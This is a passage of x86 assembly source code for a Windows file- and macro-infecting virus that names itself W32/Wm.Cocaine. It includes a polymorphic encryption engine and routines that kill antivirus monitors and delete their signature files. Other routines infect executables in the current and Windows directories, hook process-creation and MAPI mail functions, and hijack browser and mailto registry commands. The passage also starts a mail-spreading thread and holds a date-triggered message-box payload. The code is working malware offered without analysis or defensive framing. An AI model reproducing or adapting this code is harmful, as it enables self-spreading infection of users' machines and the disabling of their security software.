xchg esi, edi ;permute bufferz
pop ebx
dec ebx
jnz @@1 ;next loop
xchg esi, edi
call crypt_poly ;encript poly engine after use
ret
mutate endp
crypt_poly proc
pushad
mov al, by [ebp+(ofs cp_key-ofs vcode)]
mov ecx, ofs egtable-ofs poly
lea esi, [ebp+(ofs poly-ofs vcode)]
@@1:
xor by [esi], al
inc esi
loop @@1
popad
ret
crypt_poly endp
rbuf db MAX_BRANCH*(128+4+4) dup (0)
vinit proc
mov esp, [esp+8]
call delta
lea eax, [ebp+(ofs seh-ofs vcode)]
mov [esp-4], eax
call init ;get api entries
jc @@3
sub eax, eax
mov ecx, MAX_SOCK+1
lea edi, [ebp+(ofs _socket-ofs vcode)]
rep stosd
mov [ebp+(ofs email_w-ofs vcode)], eax
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
mov [ebp+(ofs mdeep-ofs vcode)], al
lea eax, [ebp+(ofs kernel-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
mov [ebp+(ofs K32-ofs vcode)], eax ;save kernel32 base
lea esi, [ebp+(ofs k32_names-ofs vcode)]
lea edi, [ebp+(ofs k32_address-ofs vcode)]
@@1:
lodsd
or eax, eax
jz @@2
add eax, ebp
call gpa_kernel32 ;get all api we want from k32
jc @@3
stosd
jmp @@1
db 0b9h
@@2:
lea eax, [ebp+(ofs user-ofs vcode)]
push eax
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
mov [ebp+(ofs U32-ofs vcode)], eax ;save user base
@@4:
lodsd
or eax, eax
jz @@5
mov ebx, [ebp+(ofs U32-ofs vcode)]
add eax, ebp
call gpa_custom ;get all api we want again
jc @@3
stosd
jmp @@4
db 0eah
@@5:
call @@adf
db 'ADVAPI32',0
@@adf:
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
call @@a11
db 'RegSetValueExA', 0
@@a11:
push eax
call @@aaa
db 'RegCreateKeyExA', 0
@@aaa:
push eax
call @@baa
db 'RegOpenKeyExA', 0
@@baa:
push eax
call @@caa
db 'RegQueryValueExA', 0
@@caa:
push eax
call @@d
db 'RegCloseKey', 0
@@d:
push eax ;retrieve all needed APIs
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCloseKey-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegQueryValueEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegOpenKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCreateKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegSetValueEx-ofs vcode)], eax
lea eax, [ebp+(ofs wavp-ofs vcode)]
sub ecx, ecx
push eax
push ecx
call [ebp+(ofs _FindWindowA-ofs vcode)]
or eax,eax
jz @@b
push ecx ;terminate AVPM using vg scheme
push ecx
push 16
push eax
call [ebp+(ofs _PostMessageA-ofs vcode)]
@@b:
lea eax, [ebp+(ofs shitfile-ofs vcode)]
push eax
call DeleteShitFile
call @@a1
db 'KERNEL.AVC', 0
@@a1:
call DeleteShitFile
call @@a2
db 'SIGN.DEF', 0
@@a2:
call DeleteShitFile
call @@a3
db 'FIND.DRV', 0
@@a3:
call DeleteShitFile
call @@a4
db 'NOD32.000', 0
@@a4:
call DeleteShitFile
call @@a5
db 'DSAVIO32.DLL', 0
@@a5:
call DeleteShitFile
call @@a6
db 'SCAN.DAT', 0
@@a6:
call DeleteShitFile
call @@a7
db 'VIRSCAN.DAT', 0
@@a7:
call DeleteShitFile
call @@a8
db 'C:\COCAINE.SRC', 0
@@a8:
call DeleteShitFile
lea ebx, [ebp+(ofs ancevsys-ofs vcode)]
push 83h
push ebx
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
lea esi, [ebp+(ofs current_time-ofs vcode)]
push esi
call [ebp+(ofs _GetSystemTime-ofs vcode)]
lea edi, [ebp+(ofs seed-ofs vcode)]
sub eax, eax
lodsw
lodsw ;init seed with dayofweek/day
movsd
push eax
sub al, MONTH_DELAY ;enougth time passed?
jnc @@6
add al, 12
@@6:
cmp by [ebp+(ofs FunDate-ofs vcode)], al
mov al, 90h
je @@7
add al, 0c3h-90h ;nop/ret flip
@@7:
mov by [ebp+(ofs Payload-ofs vcode)], al
pop eax
add al, MONTH_DELAY
aam 12 ;set trigger date
mov by [ebp+(ofs FunDate-ofs vcode)], al
call random0
mov [ebp+(ofs key1-ofs vcode)], eax
call random0
mov [ebp+(ofs key2-ofs vcode)], eax
call macro_crypt ;decript macro stuff
call MacroSpread
call random0
add by [ebp+(ofs macro_key-ofs vcode)], al
call macro_crypt ;encript macro stuff
lea edx, [ebp+(ofs directory-ofs vcode)]
push edx
push MAX_PATH
call [ebp+(ofs _GetCurrentDirectoryA-ofs vcode)]
test eax, eax
jz @@10
call ProcessDir
@@10:
IF DIRECT EQ TRUE
lea edx, [ebp+(ofs directory-ofs vcode)]
push MAX_PATH
push edx
call [ebp+(ofs _GetWindowsDirectoryA-ofs vcode)]
test eax, eax
jz @@11
call ProcessDir
@@11:
; lea edx, [ebp+(ofs directory-ofs vcode)]
; push MAX_PATH
; push edx
; call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
; test eax, eax
; jz @@12
; call ProcessDir
; @@12:
ENDIF
mov esi, [ebp+(ofs _base-ofs vcode)]
@@a:
lea eax, [ebp+(ofs NewWinExec-ofs vcode)]
mov ecx, 0 ;hook per-process functionz
OldWinExec equ dwo $-4
jecxz @@8
call PatchIT
@@8:
lea eax, [ebp+(ofs NewCreateProcessA-ofs vcode)]
mov ecx, 0
OldCreateProcessA equ dwo $-4
jecxz @@9
call PatchIT
@@9:
lea eax, [ebp+(ofs NewMAPISendMail-ofs vcode)]
mov ecx, 0
OldMAPISendMail equ dwo $-4
jecxz @@92
call PatchIT
@@92:
lea eax, [ebp+(ofs NewGetProcAddress-ofs vcode)]
mov ecx, 0
OldGetProcAddress equ dwo $-4
jecxz @@93
call PatchIT
@@93:
call Payload
@@3:
call delta
cmp by [ebp+(ofs RestoreChunkz-ofs vcode)], FALSE
je @@aa
mov edx, MAX_BRANCH
lea esi, [ebp+(ofs rbuf-ofs vcode)]
@@rc1:
lodsd
add eax, [ebp+(ofs _base-ofs vcode)]
mov edi, eax
lodsd
mov ecx, eax
pushad
call WriteMem
popad
lea esi, [esi+ecx]
dec edx
jnz @@rc1
@@aa:
mov eax, 365
call random
cmp ax, 24
jne @sajsj
call GetList
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call DeleteShitFile
@sajsj:
call OpenAncev
jc @@jdjd
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
call DeleteShitFile
@@jdjd:
mov eax, NUM_TOPICS
call random
mov eax, [ebp+(ofs topics-ofs vcode)+(eax*4)]
add eax, ebp
mov [ebp+(ofs subject-ofs vcode)], eax
IF DIRECT EQ TRUE
inc dwo [ebp+(ofs what_key-ofs vcode)]
call @@2323
db 'SOFTWARE\Classes\htmlfile\shell\open\command', 0
@@2323:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
call Infect
call @@2324
db 'SOFTWARE\Classes\mailto\shell\open\command', 0
@@2324:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
call Infect
dec dwo [ebp+(ofs what_key-ofs vcode)]
ENDIF
sub eax, eax
lea esi, [ebp+(ofs thread-ofs vcode)]
push esi
push eax
push ebp
lea esi, [ebp+(ofs MailThread-ofs vcode)]
push esi
push eax
push eax
call [ebp+(ofs _CreateThread-ofs vcode)]
call http_install
ret2host:
pop dwo fs:[0] ;restore seh frame
pop eax
jmp host ;jmp to host
vinit endp
host_entry equ dwo $-4
seh:
mov esp, [esp+8]
jmp ret2host
FixKey proc
push -2
pop ecx
mov edi, esi
@@0:
lodsb
cmp al, '"'
je @@1
test al, al
jz @@2
cmp al, ' '
jne @@3
cmp ecx, -2
je @@2
@@3:
stosb
jmp @@0
@@1:
inc ecx
jecxz @@2
jmp @@0
@@2:
sub eax, eax
stosb
ret
FixKey endp
cokefile db 'C:\COCAINE.SYS', 0
init proc
mov ecx, esp
call @@3
mov esp, [esp+8] ;fix stack
@@1:
call delta
stc ;signal error
mov cl, ?
org $-1
@@2:
clc ;signal sucess
pop dwo fs:[0] ;restore seh frame
sahf
add esp, 4
lahf
ret
db 081h
@@3:
sub eax, eax
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
mov eax, 0 ;is GetModuleHandleA imported?
OldGetModuleHandleA equ dwo $-4
test eax, eax
jz @@5
add eax, [ebp+(ofs _base-ofs vcode)]
lea edx, [ebp+(ofs kernel-ofs vcode)]
push edx
call [eax] ;use imported API to get
test eax, eax ;kernel32 module
jz @@5
mov edx, eax
jmp @@4
@@5:
mov eax, 077f00000h ;wNT base
push eax
call check_base
pop edx
jz @@4
mov eax, 077e00000h ;wNT 5 base
push eax
call check_base
pop edx
jz @@4
mov eax, 0bff70000h ;w9x base
push eax
call check_base
pop edx
jnz @@1
@@4:
mov eax, edx
mov ebx, eax
call delta
add eax, [eax+3ch]
cmp dwo [eax], 'EP'
jne @@1
add ebx, [eax+120] ;export table
lea eax, [ebp+(ofs sGetModuleHandle-ofs vcode)]
mov dwo [ebp+(ofs size_search-ofs vcode)], 17
mov [ebp+(ofs string_search-ofs vcode)], eax
call search_et ;get GetModuleHandle
jc @@1
mov [ebp+(ofs _GetModuleHandle-ofs vcode)], eax
lea eax, [ebp+(ofs sGetProcAddress-ofs vcode)]
mov dwo [ebp+(ofs size_search-ofs vcode)], 15
mov [ebp+(ofs string_search-ofs vcode)], eax
call search_et ;get GetProcAddress
jc @@1
mov [ebp+(ofs _GetProcAddress-ofs vcode)], eax
jmp @@2
init endp
check_base proc
call @@1
mov esp, [esp+8]
call delta
cmp eax, esp
jmp @@0
@@1:
push dwo fs:[0]
mov fs:[0], esp
cmp wo [eax], 'ZM'
@@0:
pop dwo fs:[0]
pop eax
ret
check_base endp
search_et proc
mov eax, [ebx+32]
add eax, edx ;name table ptr
@@1:
mov esi, [eax]
or esi, esi
jz @@3 ;nul ptr
add esi, edx
mov edi, 0
string_search equ dwo $-4
mov ecx, 0
size_search equ dwo $-4
rep cmpsb ;the one we search?
jz @@2
add eax, 4
jmp @@1 ;check next api
@@2:
sub eax, [ebx+32]
sub eax, edx
shr eax, 1 ;div by 2
add eax, [ebx+36]
add eax, edx
movzx eax, wo [eax]
shl eax, 2 ;mul by 4
add eax, [ebx+28]
add eax, edx
mov eax, [eax]
add eax, edx
clc ;signal sucess
mov cl, 12h
org $-1
@@3:
stc ;signal error
ret
search_et endp
gpa_custom proc
push eax ;pointer to api wanted
push ebx ;module handle
jmp _gpa
db 66h
gpa_kernel32 proc
push eax
push dwo [ebp+(ofs K32-ofs vcode)]
_gpa:
call [ebp+(ofs _GetProcAddress-ofs vcode)]
or eax, eax
jz @@1
clc
mov cl, 12h
org $-1
@@1:
stc
ret
gpa_kernel32 endp
gpa_custom endp
MAX_RECURSION = 3
JMP_MAX = 16
MAX_SUBROUTINES = 16
flg record{
_key:1, ;1key isnt necessary ;4
_encriptor:2 ;XOR = 00
;NOT = 01
;ADD = 10
;SUB = 11 ;23
_bwd_fwd:1, ;0inc/1dec counter ;1
_direction:1, ;1backward/0forward ;0
}
pushf
db 09ah
poly proc ;encripted in memory!
push esi
mov [ebp+(ofs entry-ofs vcode)], eax
mov [ebp+(ofs buffer-ofs vcode)], edi
mov [ebp+(ofs _size-ofs vcode)], ecx ;save entry values
sub eax, eax
mov [ebp+(ofs reg32-ofs vcode)], eax
mov [ebp+(ofs recurse-ofs vcode)], eax ;init internal vars
mov [ebp+(ofs lparm-ofs vcode)], eax
mov [ebp+(ofs lvars-ofs vcode)], eax
mov [ebp+(ofs subs_index-ofs vcode)], eax
mov [ebp+(ofs s_into-ofs vcode)], eax ;(dword)
call random0
and eax, mask _bwd_fwd + mask _direction + mask _encriptor
mov [ebp+(ofs flagz-ofs vcode)], eax ;set engine flagz
mov edx, eax
and edx, 11b
call random0
mov [ebp+(ofs key-ofs vcode)], al ;choose key
lea ebx, [ebp+(ofs crypt_table-ofs vcode)]
test edx, 10b
jz @@0
add ebx, 6 ;next table
@@0:
test edx, 01b
jz @@1
add ebx, 3 ;second choice
@@1:
mov ax, wo [ebx]
mov [ebp+(ofs _dec-ofs vcode)], ax
mov al, by [ebx+2]
mov [ebp+(ofs _enc-ofs vcode)], al
dec edx
jnz @@2
mov by [ebp+(ofs key-ofs vcode)], 0D0h ;not dont use key
bts dwo [ebp+(ofs flagz-ofs vcode)], 6 ;(mask _key)
@@2:
jmp @@3 ;flush piq
@@3:
lodsb
_enc db 00
key db 00
stosb
loop @@3 ;crypt code
mov eax, 64
call random
mov ecx, eax
call _shit
mov [ebp+(ofs decriptor-ofs vcode)], edi;here the decriptor start
call garble ;start of decriptor
lea ebx, [ebp+(ofs make_counter-ofs vcode)]
lea edx, [ebp+(ofs make_pointer-ofs vcode)]
call swapper ;setup start of poly decriptor
push edi ;loop start here
call garble
mov eax, [ebp+(ofs _dec-ofs vcode)]
mov edx, [ebp+(ofs p_reg-ofs vcode)]
or ah, dl
stosw ;store crypt instr
bt dwo [ebp+(ofs flagz-ofs vcode)], 6 ;(mask _key)
jc @@4
mov al, by [ebp+(ofs key-ofs vcode)]
stosb ;store key
@@4:
call garble
lea ebx, [ebp+(ofs upd_counter-ofs vcode)]
lea edx, [ebp+(ofs upd_pointer-ofs vcode)]
call swapper ;update counter and pointer
mov edx, [ebp+(ofs c_reg-ofs vcode)]
call random
jc @@5
call random
js @@7
mov eax, 0c00bh ;or reg, reg
jmp @@8
@@7:
mov eax, 0c085h ;test reg, reg
@@8:
mov ecx, edx
shl edx, 3
or ah, dl
or ah, cl
stosw
jmp @@6
@@5:
mov eax, 0f883h
or ah, dl
stosw ;cmp reg, 0
sub eax, eax
stosb
@@6:
mov ax, 850fh ;do conditional jump
stosw
pop edx
sub edx, edi ;delta distance
sub edx, 4
mov eax, edx
stosd ;jnz start_of_loop
mov dwo [ebp+(ofs reg32-ofs vcode)], 0
call garble
mov al, 0e9h
stosb ;jmp start
mov eax, edi
sub eax, [ebp+(ofs buffer-ofs vcode)]
sub eax, [ebp+(ofs entry-ofs vcode)]
add eax, 4
neg eax
stosd
call garble
call garble
mov ecx, [ebp+(ofs buffer-ofs vcode)] ;(this allow the calls be
sub edi, ecx ;forward/backward direction)
xchg edi, ecx
mov eax, [ebp+(ofs decriptor-ofs vcode)];calculate new entrypoint
sub eax, [ebp+(ofs buffer-ofs vcode)] ;relative to previous rva
pop esi
ret
poly endp
gar proc
call random0 ;get any reg
and eax, 0111b
cmp al, 4 ;esp never
je gar
ret
gar endp
get8free proc
mov eax, [ebp+(ofs reg32-ofs vcode)]
and eax, 01111b
cmp eax, 01111b
jne @@1
stc
ret
@@1:
call random0
and eax, 011b
bt [ebp+(ofs reg32-ofs vcode)], eax ;al,cl,dl,bl
jc get8free
call random_f
jc @@2
or al, 0100b ;ah,ch,dh,bh
@@2:
ret
get8free endp
get32reg proc ;get a free 32bit reg
call gar ;and mark it as used
bts [ebp+(ofs reg32-ofs vcode)], eax
jc get32reg
ret
get32reg endp
get32free proc ;get a free 32bit reg
call gar ;and NOT mark it as used
bt [ebp+(ofs reg32-ofs vcode)], eax
jc get32free
ret
get32free endp
swapper proc
call random0
jc @@1
xchg edx, ebx ;change order
@@1:
push edx
call ebx ;call 1th
call garble
pop edx
call edx ;call 2th
call garble
ret
swapper endp
make_counter proc
call get32reg
mov [ebp+(ofs c_reg-ofs vcode)], eax
cmp al, 5 ;ebp complicate methodz
jne @@2
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_counter
@@2:
or al, 0b8h
stosb
mov eax, [ebp+(ofs _size-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd
jnz @@1
neg eax ;counter will be INCed
@@1:
stosd
ret
make_counter endp
make_pointer proc
call get32reg
cmp al, 5 ;ebp complicate methodz
jne @@1
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_pointer
@@1:
mov [ebp+(ofs p_reg-ofs vcode)], eax
or al, 0b8h
stosb
mov eax, [ebp+(ofs rva-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jz @@2
add eax, dwo [ebp+(ofs _size-ofs vcode)];pointer will be DECced
dec eax
@@2:
stosd
ret
make_pointer endp
upd_pointer:
mov eax, [ebp+(ofs p_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jmp _update_reg
upd_counter:
mov eax, [ebp+(ofs c_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd
_update_reg proc ;z=inc/nz=dec
mov ebx, 0140h ;inc
mov edx, 0c083h ;add
jz @@0
xor edx, 0c083h xor 0e883h ;sub
mov bl, 48h ;dec
@@0:
push eax
mov eax, 3
call random
or eax, eax
jz @@2 ;choose method
dec eax
jz @@1
xor edx, 0c083h xor 0e883h ;sub<->add
neg bh ;neg(1)
@@1:
pop ecx
mov eax, edx
or ah, cl ;patch reg
stosw
movzx eax, bh ;signal
jmp @@3
@@2:
pop ecx
xchg eax, ebx
or al, cl ;patch reg
@@3:
stosb
ret
_update_reg endp
garble proc
pushad
inc by [ebp+(ofs recurse-ofs vcode)]
cmp by [ebp+(ofs recurse-ofs vcode)], MAX_RECURSION
jae @@1
mov eax, 8
call random
add eax, 4
mov ecx, eax ;4-11 instructionz
@@0:
push ecx
lea esi, [ebp+(ofs gtable-ofs vcode)]
mov eax, (ofs egtable - ofs gtable)/4
call random
shl eax, 2
add esi, eax
lodsd
add eax, ebp
cmp by [ebp+(ofs lgarble-ofs vcode)], al
je @@2 ;same?
mov by [ebp+(ofs lgarble-ofs vcode)], al
call eax
@@2:
pop ecx
loop @@0
@@1:
dec by [ebp+(ofs recurse-ofs vcode)]
mov [esp], edi ;copy of edi in stack
popad
ret
garble endp
make_subs proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1
cmp dwo [ebp+(ofs subs_index-ofs vcode)], MAX_SUBROUTINES
ja @@1
inc by [ebp+(ofs s_into-ofs vcode)] ;mark into
mov eax, [ebp+(ofs subs_index-ofs vcode)]
inc dwo [ebp+(ofs subs_index-ofs vcode)]
mov ecx, 6
cdq
mul ecx
lea esi, [ebp+eax+(ofs subs_table-ofs vcode)]
mov al, 0e9h
stosb
stosd
push edi ;[esp]-4 = skip_jmp
call garble
mov [esi], edi ;where sub is
mov eax, 5
call random ;number of paramz pushed
mov [esi.4], al ;by caller
mov eax, 5
call random ;number of local variables
mov [esi.5], al
test eax, eax ;if not local variables, then
jz @@0 ;dont alloc stack
mov ebx, eax
shl ebx, 2 ;displacement in dwords
mov al, 0c8h
stosb ;enter
mov eax, ebx
stosd ;size/deep
dec edi
jmp @@2
@@0:
mov al, 55h
stosb ;push ebp
mov ax, 0ec8bh
stosw ;mov ebp, esp
@@2:
push dwo [ebp+(ofs reg32-ofs vcode)] ;save reg state
mov by [ebp+(ofs _pusha-ofs vcode)], 0 ;no use pusha at start
mov eax, 3
call random
test eax, eax
je @@4 ;will use PUSHA!
@@10:
call random0 ;choose regs
and eax, 11111111b
or eax, 00110000b ;set EBP and ESP too
cmp al, -1
jz @@10
mov [ebp+(ofs reg32-ofs vcode)], eax
and eax, 11001111b
not al ;free regs are set bits now!
test eax, eax
jz @@10
@@5:
bsf edx, eax
jz @@6 ;no more regs free?
btc eax, edx ;clear it
cmp dl, 4
je @@5
cmp dl, 5 ;ebp-esp dont need be saved
je @@5
push eax
mov eax, edx ;get position
or al, 50h
stosb ;store as PUSH
pop eax
jmp @@5
@@4:
mov by [ebp+(ofs _pusha-ofs vcode)], -1 ;pusha used!
mov dwo [ebp+(ofs reg32-ofs vcode)], 00110000b
mov al, 60h ;set EBP and ESP as used
stosb ;pusha
@@6:
movzx eax, by [esi.4]
mov [ebp+(ofs lparm-ofs vcode)], eax
movzx eax, by [esi.5]
mov [ebp+(ofs lvars-ofs vcode)], eax ;set paramz to mem write/read
call garble
call garble
call garble
xor eax, eax
mov [ebp+(ofs lparm-ofs vcode)], eax ;disable mem write/read
mov [ebp+(ofs lvars-ofs vcode)], eax
mov al, [ebp+(ofs _pusha-ofs vcode)]
inc al
jnz @@7 ;well, do individual POPs
mov al, 61h
stosb ;POPA
jmp @@8
@@7:
mov eax, [ebp+(ofs reg32-ofs vcode)]
and eax, 11001111b
not al ;free regs are set bits now!
@@9:
bsr edx, eax
jz @@8 ;no more regs free?
btc eax, edx ;clear it
cmp dl, 4
je @@9
cmp dl, 5 ;ebp-esp dont need be restored
je @@9
push eax
mov eax, edx ;get position
or al, 58h
stosb ;store as POP this time
pop eax
jmp @@9
@@8:
pop dwo [ebp+(ofs reg32-ofs vcode)] ;restore reg state
@@3:
mov al, 0c9h
stosb ;leave
mov al, 0c2h
stosb ;ret
movzx eax, by [esi.4]
shl eax, 2
test eax, eax
jz @@a
stosw ;clean params
jmp @@b
@@a:
mov by [edi-1], 0c3h ;no paramz, use RETN
@@b:
call garble
pop esi
mov ecx, edi
sub ecx, esi ;distance
mov [esi-4], ecx ;patch jmp
dec by [ebp+(ofs s_into-ofs vcode)]
@@1:
ret
make_subs endp
make_call proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1 ;cant call while creating sub
mov eax, [ebp+(ofs subs_index-ofs vcode)]
test eax, eax
jz @@1
call random ;choose one of the subs ready
mov ecx, 6
cdq
mul ecx
lea esi, [ebp+eax+(ofs subs_table-ofs vcode)]
movzx ecx, by [esi.4]
jecxz @@2 ;how much paramz it need?
@@3:
call gar
or al, 50h ;push paramz
stosb
loop @@3
@@2:
mov al, 0e8h
stosb ;build call
mov eax, dwo [esi]
sub eax, edi
sub eax,4
stosd ;store displacement
@@1:
ret
make_call endp
lea_dword proc
mov al, 8dh
stosb
call get32free
shl eax, 3
push eax
call gar
pop edx
or eax, edx
or al, 80h
stosb
call random0
stosd
ret
lea_dword endp
math_byte proc
mov eax, 8
call random
shl eax, 3
or eax, 1000000011000000b ;make math operation
push eax
call get8free
pop edx
jc @@1
or eax, edx
xchg al, ah
stosw
call random0
stosb ;byte
@@1:
ret
math_byte endp
math_word proc
mov ax, 8166h
stosw
call _math_imm
stosw
ret
math_word endp
math_dword proc
mov al, 81h
stosb
call _math_imm
stosd
ret
math_dword endp
_math_imm proc
mov eax, 8
call random
shl eax, 3
or al, 11000000b
push eax
call get32free
pop edx
or eax, edx ;patch reg into
stosb
call random0
ret
_math_imm endp
push_pop proc
call gar
or al, 50h
stosb
call garble ;recurse into
call get32free
or al, 58h
stosb
ret
push_pop endp
jmpcn proc
mov eax, 0fh
call random
or ax, 0f80h ;jcc near
xchg al, ah
stosw
stosd
push edi
call garble ;recurse
pop esi
mov eax, edi
sub eax, esi
mov dwo [esi-4], eax ;fix jcc
ret
jmpcn endp
jmpcs proc
mov eax, 0fh
call random
or al, 70h ;make jmp conditional
stosw
push edi
call garble ;recurse
pop esi
push edi
mov eax, esi
xchg eax, edi
sub eax, edi
mov by [esi-1], al ;fix jcc
or al, al
jns @@1 ;jmp destiny too far?
mov edi, esi
dec edi
dec edi
call one_byte ;replace with 2 byte instr
call one_byte
@@1:
pop edi
ret
jmpcs endp
jmpn proc
mov al, 0e9h
stosb
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
stosd
jmp _shit
jmpn endp
jmps proc
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
mov ah, 0ebh
xchg al, ah
stosw
movzx eax, ah
_shit:
call random0 ;ecx bytes of shit
stosb
loop _shit
ret
jmps endp
movr_byte proc
call gar
push eax
call get8free
jnc @@1
pop eax
ret
@@1:
push eax
mov al, 08ah
jmp _reg_reg
movr_byte endp
movr_word proc
mov al, 66h ;word-size prefix
stosb
movr_word endp
movr_dword proc
call gar
push eax
call get32free
push eax
mov al, 08bh
_reg_reg:
stosb
pop eax ;destino
pop edx ;source
shl eax, 3
or eax, edx
or eax, 11000000b
stosb
ret
movr_dword endp
mov_dword proc
call get32free
or al, 0b8h
stosb
call random0
stosd
ret
mov_dword endp
mov_word proc
mov al, 66h
stosb
call get32free
or al, 0b8h
stosb
call random0
stosw
ret
mov_word endp
mov_byte proc
call get8free
jc @@1
or al, 0b0h
stosb
call random0
stosb
@@1:
ret
mov_byte endp
one_byte proc
mov eax, 5
call random
lea ebx, [ebp+(ofs one_byte_table-ofs vcode)]
xlat
stosb
ret
one_byte endp
inc_dec proc
call get32free
add al, 40h
call random_f
js @@1
or al, 01000b ;inc/dec
@@1:
stosb
ret
inc_dec endp
mov_zs_x proc
call random0
mov eax, 0b60fh
js @@1
mov ah, 0beh ;z/s
@@1:
adc ah, 0 ;16/8
stosw
call gar
push eax
call get32free
shl eax, 3
pop edx
or eax, edx
or al, 0c0h
stosb
ret
mov_zs_x endp
one_byte_table equ this byte
std
clc
cmc
cld
std
crypt_table equ this byte
db 080h, 030h, 034h ;xor
db 0f6h, 010h, 0f6h ;not
db 080h, 000h, 02ch ;add
db 080h, 028h, 004h ;sub
gtable equ this byte
dd ofs jmpcn-ofs vcode
dd ofs jmpcs-ofs vcode
dd ofs jmpn-ofs vcode
dd ofs jmps-ofs vcode
dd ofs one_byte-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs inc_dec-ofs vcode
dd ofs inc_dec-ofs vcode
dd ofs mov_zs_x-ofs vcode
dd ofs mov_zs_x-ofs vcode
dd ofs math_word-ofs vcode
dd ofs math_word-ofs vcode
dd ofs movr_word-ofs vcode
dd ofs movr_word-ofs vcode
dd ofs mov_word-ofs vcode
dd ofs mov_word-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
egtable equ this byte ;end of in-memory encripted part
title1 db 'W32/Wm.Cocaine', 0
text0 db 'Your life burn faster, obey your master...', 0
text1 db 'Chop your breakfast on a mirror...', 0
text2 db 'Veins that pump with fear, sucking darkest clear...', 0
text3 db 'Taste me you will see, more is all you need...', 0
text4 db 'I will occupy, I will help you die...', 0
text5 db 'I will run through you, now I rule you too...', 0
text6 db "Master of Puppets, I'm pulling your strings...", 0
text_table equ this byte
dd ofs text0-ofs vcode
dd ofs text1-ofs vcode
dd ofs text2-ofs vcode
dd ofs text3-ofs vcode
dd ofs text4-ofs vcode
dd ofs text5-ofs vcode
dd ofs text6-ofs vcode
Payload:
nop ;on/off switch
sub ecx, ecx
push ecx
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
mov eax, 7
call random
mov eax, [ebp+(ofs text_table-ofs vcode)+eax*4]
add eax, ebp
push eax ;silly MessageBox payload
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
ret
kernel db 'KERNEL32', 0
user db 'USER32', 0
mapi db 'MAPI32', 0
align 4
sGetProcAddress db 'GetProcAddress', 0 ;APIs from kernel32.dll that
sGetModuleHandle db 'GetModuleHandleA', 0 ;we need
sCreateProcessA db 'CreateProcessA', 0
sCreateFileA db 'CreateFileA', 0
sWinExec db 'WinExec', 0
sCloseHandle db 'CloseHandle', 0 ;api names, related to other 2
sLoadLibraryA db 'LoadLibraryA', 0
sFreeLibrary db 'FreeLibrary', 0
sCreateFileMappingA db 'CreateFileMappingA', 0
sMapViewOfFile db 'MapViewOfFile', 0
sUnmapViewOfFile db 'UnmapViewOfFile', 0
sFindFirstFileA db 'FindFirstFileA', 0
sFindNextFileA db 'FindNextFileA', 0
sFindClose db 'FindClose', 0
sSetEndOfFile db 'SetEndOfFile', 0
sVirtualAlloc db 'VirtualAlloc', 0
